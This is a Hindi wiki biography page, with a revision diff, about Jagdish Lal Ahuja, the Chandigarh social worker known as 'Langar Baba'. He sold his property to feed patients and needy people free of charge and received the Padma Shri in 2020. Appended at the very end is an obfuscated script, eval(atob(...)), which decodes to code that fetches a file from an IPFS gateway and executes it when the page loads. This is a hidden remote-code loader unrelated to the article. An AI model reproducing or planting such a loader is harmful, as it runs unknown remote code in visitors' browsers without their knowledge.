जगदीश लाल आहुजा: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('thumb|250px|जगदीश लाल आहुजा '''जगदीश लाल आहु...' के साथ नया पृष्ठ बनाया)
 
No edit summary
 
Line 13: Line 13:
==संबंधित लेख==
==संबंधित लेख==
{{सामाजिक कार्यकर्ता}}{{पद्मश्री}}
{{सामाजिक कार्यकर्ता}}{{पद्मश्री}}
[[Category:सामाजिक कार्यकर्ता]][[Category:जीवनी साहित्य]][[Category:पद्म श्री]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
[[Category:सामाजिक कार्यकर्ता]][[Category:जीवनी साहित्य]][[Category:पद्म श्री]][[Category:पद्म श्री (2020)]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
__INDEX__
__INDEX__

Latest revision as of 17:46, 20 April 2021

thumb|250px|जगदीश लाल आहुजा जगदीश लाल आहुजा (अंग्रेज़ी: Jagdish Lal Ahuja) भारत के जानेमाने सामाजिक कार्यकर्ता हैं। वह चंडीगढ़, पंजाब से हैं। वह पिछले 36 सालों से भूखे और जरूरतमंद लोगों को नि:शुल्क खाना खिलाने का काम करते आ रहे हैं। यही कारण है कि लोग अब उन्हें लंगर बाबा के नाम से भी जानते हैं। साल 2020 के पद्मश्री अवॉर्ड विजेताओं की जब घोषणा की गई तो इनमें जगदीश लाल आहूजा भी शामिल थे।

  • जगदीश लाल आहुजा को लोग 'लंगर बाबा' के नाम से जानते हैं। इनकी खासियत ये है कि ये लोगों को अपनी तरफ से खाना खिलाते हैं। इसके बदले में वे किसी से कुछ भी लेते नहीं हैं। वे हर प्रकार के जरूरतमंदों और भूखों को खाना खिलाते हैं। इनकी गारंटी होती है कि ये किसी से भी बदले में कुछ भी ना लें।
  • रोजाना पोस्ट ग्रेजुएट इंस्टीट्यूट ऑफ मेडिकल एजुकेशन एंड रिसर्च, चंडीगढ़ में गरीब मरीजों और भूखों को मुफ्त में जगदीश लाल आहुजा भोजन मुहैया कराते हैं। वह केवल खाना ही नहीं बल्कि मरीजों को आर्थिक सहायता से लेकर कंबल और कपड़े तक अन्य सहायता मुहैया कराते हैं।
  • ये जानकर आश्चर्य होता है कि जगदीश लाल आहुजा बिना किसी से बदले में कुछ लिए कैसे इतने लोगों की मदद कर पाते हैं। इसके लिए उन्होंने अपनी 35 एकड़ जमीन बेच दी। साथ ही अपनी जायदाद भी बेच दी ताकि लोगों का पेट भर सकें। उन्होंने 1980 के दशक में मुफ्त भोजन परोसना शुरू कर दिया था।
  • वे 2000 में चंडीगढ़ सेक्टर 32 में पीजीआई और सरकारी मेडिकल कॉलेज व हॉस्पीटल के पास आ गए और तब से लेकर अब तक वे वहीं रोजाना करीब 2,000 से अधिक लोगों की सेवा कर रहे हैं।
  • कई बार ऐसे मौके भी आए जब उनके पास पैसों की कमी पड़ गई। इसके बाद हर एक मौके पर उन्होंने अपनी एक-एक संपत्ति बेच दी ताकि अपना ये सेवाकार्य जारी रख सकें। उन्होंने अभी तक लगभग करोड़ों की संपत्ति बेच दी है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>